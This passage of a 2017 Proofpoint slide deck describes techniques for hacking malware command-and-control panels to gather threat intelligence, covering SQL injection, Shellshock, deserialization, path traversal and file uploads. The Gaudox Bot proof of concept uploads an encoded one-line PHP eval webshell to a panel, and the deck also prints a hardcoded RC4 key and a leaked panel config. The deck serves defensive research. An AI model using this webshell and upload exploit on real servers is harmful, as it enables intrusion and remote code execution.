$query = mysql_query("UPDATE list SET balance='$balance' WHERE IMEI='$IMEI' LIMIT 1", $db) or die(mysql_error());

$query_2 = mysql_query("SELECT * FROM list WHERE IMEI='$IMEI'", $db) or die(mysql_error());
$rows = array();
```
Method 15 – SQL Injection

➤ Win: dump C2 panel’s database
➤ Android Opfake malware

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "" LIMIT 1" at line 1
Methods 11-15 summary

Finding vulnerabilities via code review

- Method 11 – Obtain source code
- Method 12 – Cross site scripting
- Method 13 – Hidden backdoors
- Method 14 – Remote command execution
- Method 15 – SQL injection
Having admin panel access and webshell access is GREAT…

… but how about rooting the server?
Method 16 – Remote command execution

- Win: root the C2 server
- HFS -- Vawtrak hosting payload for TinyLoader
Method 16 – Remote command execution

- Win: root the C2 server
- HFS -- Vawtrak hosting payload for TinyLoader
Method 17 – Shellshock (CVE-2014-6271)

➢ Win: gain C2 server access
➢ Sutra TDS – undisclosed

OS:
Linux: [redacted] 3.1.3 #1 SMP Mon Nov 28 00:18:51 MSK 2011 i686 i686 i386 GNU/Linux

path:
/var/www/[redacted]/data/www/[redacted].com

user id:
uid=500([redacted]) gid=502([redacted]) groups=501([redacted]),502([redacted])

Environment:
SERVER_SIGNATURE=<address>Apache/2.2.23 (CentOS) Server at [redacted].com Port 80</address>

HTTP_USER_AGENT=Mozilla/5.0 (Windows NT 5.1; rv:43.0) Gecko/20100101 Firefox/43.0
HTTP_X_FORWARDED_FOR=
SERVER_PORT=80
HTTP_HOST=[redacted].com
Method 17 – Shellshock (CVE-2014-6271)

- Win: gain C2 server access
- Sutra TDS – undisclosed
Method 18 -- JAVA Unserialize Vulnerability (CVE-2015-4852)

- Win: gain access C2 server
- Android Fake-Angry
  - Oracle WebLogic Server, versions 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0 are affected
Now that we can execute arbitrary commands and access arbitrary files...

... how to very quickly grasp what’s there?
Method 19 -- Webalizer/AWStat

- Leverage: Understanding a C2’s structure
- Northern Gold (Qbot)

<table>
<thead>
<tr>
<th>#</th>
<th>Hits</th>
<th>KBytes</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>2142342</td>
<td>732766</td>
<td>/t</td>
</tr>
<tr>
<td>2</td>
<td>1306853</td>
<td>716881</td>
<td>/k</td>
</tr>
<tr>
<td>3</td>
<td>240434</td>
<td>69783581</td>
<td>/v</td>
</tr>
<tr>
<td>4</td>
<td>72215</td>
<td>20450287</td>
<td>/u_qbotinj.exe</td>
</tr>
<tr>
<td>5</td>
<td>12981</td>
<td>1121722</td>
<td>/w</td>
</tr>
<tr>
<td>6</td>
<td>12912</td>
<td>2420</td>
<td>/s</td>
</tr>
<tr>
<td>7</td>
<td>5259</td>
<td>1336859</td>
<td>/u_qbotinj.exe.pkg</td>
</tr>
<tr>
<td>8</td>
<td>2010</td>
<td>6220</td>
<td>/E/J2.JS</td>
</tr>
<tr>
<td>9</td>
<td>1825</td>
<td>1822</td>
<td>/</td>
</tr>
<tr>
<td>10</td>
<td>1522</td>
<td>408</td>
<td>/robots.txt</td>
</tr>
</tbody>
</table>

- Qbot gate
- Exploits go to sutra
- Qbot exe updates
- Qbot exe
- Webinjests for all
- Session spy
- Qbot exe updates
- Inject iframe redirection
Methods 16-19 summary

Rooting the server & quickly overviewing data

➤ Method 16 – Remote command execution
➤ Method 17 – Shellshock
➤ Method 18 – Java unserialized vulnerability
➤ Method 19 – Webalizer / AWStat
Let’s try some complex techniques!
Method 20 – Path traversal

Win: arbitrary file access, control panel access
MagikPOS

```php
<?php

class settings {
    //db
    const db_hostname = "localhost";
    const db_user = "root";
    const db_password = "********";
    const db_name = "02kf8gp";

    //account
    const umb_username = "Magic";
    const umb_password = "********";

    //platform
    //how many times a user can send bad authentication details
    const brute_ipban = 5;

    //login session duration in seconds
    const sessionTime = "3600";

    //folder names
    const umb_logsPath = "logs";
    const umb_updatePath = "$updates";

    //encryption key
    const enc_key = "@#$%^&*()<>,:;\-\_\="qwertghiopl";
}
```
Method 20 – Path traversal

➢ Win: arbitrary file access, control panel access
➢ MagikPOS

Double click on any bot will show info in a new tab, click on a bot will select that bot and apply command!
If no bot selected the command will apply to all bots! Please Update Exe once a day for a better functionality!

BOTS:695 TOTAL PCS:63728 MONEY: $21242.67

<table>
<thead>
<tr>
<th>Hwid</th>
<th>Location</th>
<th>Ip</th>
<th>Local Ip</th>
<th>Pc Name</th>
<th>System</th>
<th>Reg. Date</th>
<th>Heartbeat</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td></td>
<td></td>
<td>10.1.22.5</td>
<td></td>
<td>Windows Server 2008 R2 Standard</td>
<td>2017-03-16</td>
<td>04:45:15</td>
</tr>
<tr>
<td>3</td>
<td></td>
<td></td>
<td>192.168.3.10</td>
<td></td>
<td>Windows Server 2008 R2 Standard</td>
<td>2017-02-17</td>
<td>00:29:11</td>
</tr>
<tr>
<td>4</td>
<td></td>
<td></td>
<td>192.168.3.9</td>
<td></td>
<td>Windows 7 Professional</td>
<td>2017-02-17</td>
<td>00:25:35</td>
</tr>
<tr>
<td>5</td>
<td></td>
<td></td>
<td>10.1.1.12</td>
<td></td>
<td>Windows XP</td>
<td>2017-01-28</td>
<td>18:58:23</td>
</tr>
<tr>
<td>6</td>
<td></td>
<td></td>
<td>172.74.154.141</td>
<td></td>
<td>Windows 7 Professional</td>
<td>2017-03-16</td>
<td>04:45:13</td>
</tr>
</tbody>
</table>
Method 21 – File upload vulnerability (unrestricted)

- Win: arbitrary file access
- Jahoo spambot
Method 21 – File upload vulnerability (unrestricted)

- Win: arbitrary file access
- Jahoo spambot
Method 21 – File upload vulnerability (unrestricted)

- Win: arbitrary file access
- Jahoo spambot
Method 22 – File upload vulnerability (Satisfy prerequisites)

- Win: arbitrary file access
- Neutrino HTTP Bot (0day)
Method 23 – File upload vulnerability via C2 communication

- Win: arbitrary file access
- Gaudox Bot (0day)
  - Hardcoded RC4 encryption key

```assembly
.text:00408D11  mov    eax, dword_41015C
.text:00408D16  mov    dword_411464, eax
.text:00408D1B  mov    eax, dword_410160
.text:00408D20  mov    dword_411468, eax
.text:00408D25  mov    eax, dword_410164
.data:0041015C  dd 4512A7E5h
.data:0041015C  dd 4512A7E5h
.data:00410160  dd 696665BDh
.data:00410160  dd 696665BDh
.data:00410164  dd 2299FA23h
.data:00410164  dd 2299FA23h
.data:00410168  dd 9A7D779h
.data:00410168  dd 9A7D779h
```

© 2017 Proofpoint, Inc.
Method 23 – File upload vulnerability via C2 communication

Gaudox Bot (0day)

```php
$order = 
$QrSett = $conn->query("SELECT * FROM Settings");
$Sett = $QrSett->fetch(PDO::FETCH_ASSOC);
$keyhex = "E686C7C267C311A1066E3F97FBE52225";
$Sett["Key2"] = pack("H*", $keyhex);
_POST = array();
$ContentLength = $_SERVER["CONTENT_LENGTH"];
$Data = RC4($Sett["Key2"], KEY_SIZE, file_get_contents("php://input"), $ContentLength);
parse_str($Data, $POST);
```
Method 23 – File upload vulnerability via C2 communication

Gaudox Bot (0day)
Method 23 – File upload vulnerability via C2 communication

Gaudox Bot (0day) POC

```php
// replace .htpasswd to remove PHP restriction
// $data = "cid=./.htpasswd%00&src=hd=CLNT&cr=3&fip=1&har=3&wiv=3&osa=3&wsp=3&wed=3&wbi=3&wlg=3&wrs=3&wr=3&pcn=3&usn=3&ltm=3&cmd=3&ctp=3&bio=3&bn=3&bsv=3&bsn=3&cpu=3&cmn=3&car=3&np=r=3&vda=3&vrs=3&vrr=3&hds=3&pms=3&dbw=3&alb=3&anf=3&jvm=3&avs=3"

// $size = strlen($data);

// upload webshell on the screenshots folder or upload to upon directories with ./
// 746573742E706870.php
$data = "cid=746573742E706870.php%00&src=3C3F70687020406576616C28245F504F53545B676F6F646775795D293B3F3E5hdr=CLNT&cr=3&fip=1&har=3&wiv=3&osa=3&wsp=3&wed=3&wbi=3&wlg=3&wrs=3&wr=3&pcn=3&usn=3&ltm=3&cmd=3&ctp=3&bio=3&bn=3&bsv=3&bsn=3&cpu=3&cmn=3&car=3&np=r=3&vda=3&vrs=3&vrr=3&hds=3&pms=3&dbw=3&alb=3&anf=3&jvm=3&avs=3"

// $size = strlen($data);
/* <?php @eval($_POST[goodguy]); ?>*/
$url = "http://192.168.139.134/Panel/order.php";
$encode = RC4($key, $keysize, $data, $size);
// echo $encode;
echo (POST_request($url, $encode));
```
Method 23 – File upload vulnerability via C2 communication

Gaudox Bot (0day) POC

```php
55  // replace .htpasswd to remove PHP restriction
56  // $data = "cid=../.htpasswd%00&src=\&h=CLNT&c=3&fid=1&har=3&wi=3&osa=3&wsp=3&wbi=3&wlg=3&wrr=3&wdr=3&pcn=3&usn=3&ltm=3&cmd=3&ctp=3&bio=3&bmn=3&bvs=3&bsn=3&cpu=3&cmn=3&car=3&npr=3&vda=3&vrs=3&hds=3&pms=3&dbw=3&alb=3&anf=3&jvm=3&avs=3
```

```php
<?php @eval($_POST[goodguy]); ?>
```

```php
$encode = RC4($key, $keysize, $data, $size);
//echo $encode;
echo POST_request($url, $encode);
```
Methods 20-23 summary

Complex techniques

- Method 20 – Path traversal
- Method 21 – File upload vuln (unrestricted)
- Method 22 – File upload vuln (satisfy prereq)
- Method 23 – File upload vuln (C2 comm)
How about the C2 server’s domain?
Method 24 -- Set-cookie

- Leverage: identify the actual C2 domains behind Nginx-based proxies

Northern Gold
Method 25

How about the C2 server’s IP?
Method 25 -- PHPinfo

Win: Pinpoint C2 IPs
- Many actors enable PHPinfo
- Pinpoint C2 IPs from Nginx reverse proxies

Dridex 120

<table>
<thead>
<tr>
<th>Variable</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTTP_HOST</td>
<td>95.163.121.186</td>
</tr>
<tr>
<td>HTTP_X_FORWARDED_FOR</td>
<td></td>
</tr>
<tr>
<td>HTTP_X_REAL_IP</td>
<td></td>
</tr>
<tr>
<td>HTTP_CONNECTION</td>
<td>close</td>
</tr>
<tr>
<td>HTTP_USER_AGENT</td>
<td>Mozilla/5.0 (Windows NT 6.1; rv:36.0) Gecko/20100101 Firefox/36.0</td>
</tr>
<tr>
<td>HTTP_ACCEPT</td>
<td>text/html,application/xhtml+xml,application/xml;q=0.9,<em>/</em>;q=0.8</td>
</tr>
<tr>
<td>HTTP_ACCEPT_LANGUAGE</td>
<td>zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3</td>
</tr>
<tr>
<td>HTTP_ACCEPT-Encoding</td>
<td>gzip, deflate</td>
</tr>
<tr>
<td>HTTP_REFERER</td>
<td><a href="http://95.163.121.186/i.php">http://95.163.121.186/i.php</a></td>
</tr>
<tr>
<td>HTTP_CACHE_CONTROL</td>
<td>max-age=0</td>
</tr>
<tr>
<td>PATH</td>
<td>/usr/local/bin:/usr/bin:/bin</td>
</tr>
<tr>
<td>SERVER_SIGNATURE</td>
<td>&lt;address&gt;Apache/2.2.22 (Debian) Server at 95.163.121.186 Port 80&lt;/address&gt;</td>
</tr>
<tr>
<td>SERVER_SOFTWARE</td>
<td>Apache/2.2.22 (Debian)</td>
</tr>
<tr>
<td>SERVER_NAME</td>
<td>95.163.121.186</td>
</tr>
<tr>
<td>SERVER_ADDR</td>
<td>85.166.113</td>
</tr>
<tr>
<td>SERVER_PORT</td>
<td>80</td>
</tr>
<tr>
<td>REMOTE_ADDR</td>
<td></td>
</tr>
<tr>
<td>DOCUMENT_ROOT</td>
<td>/var/www</td>
</tr>
</tbody>
</table>
Conclusion

25 proven threat intel gathering techniques

• Access analytics data
• Access control panel functions
• Retrieve control panel passwords
• Gain root access to control panels
• Lateral expansion
• Arbitrary server file access
• Server root access
Conclusion

These techniques help build knowledge of
• Who’s behind the campaign
• Who’s being targeted
• Actor infrastructure and tools in use
• Unreleased malware
• Actor operation and strategies

Most C2 panels contain vulnerabilities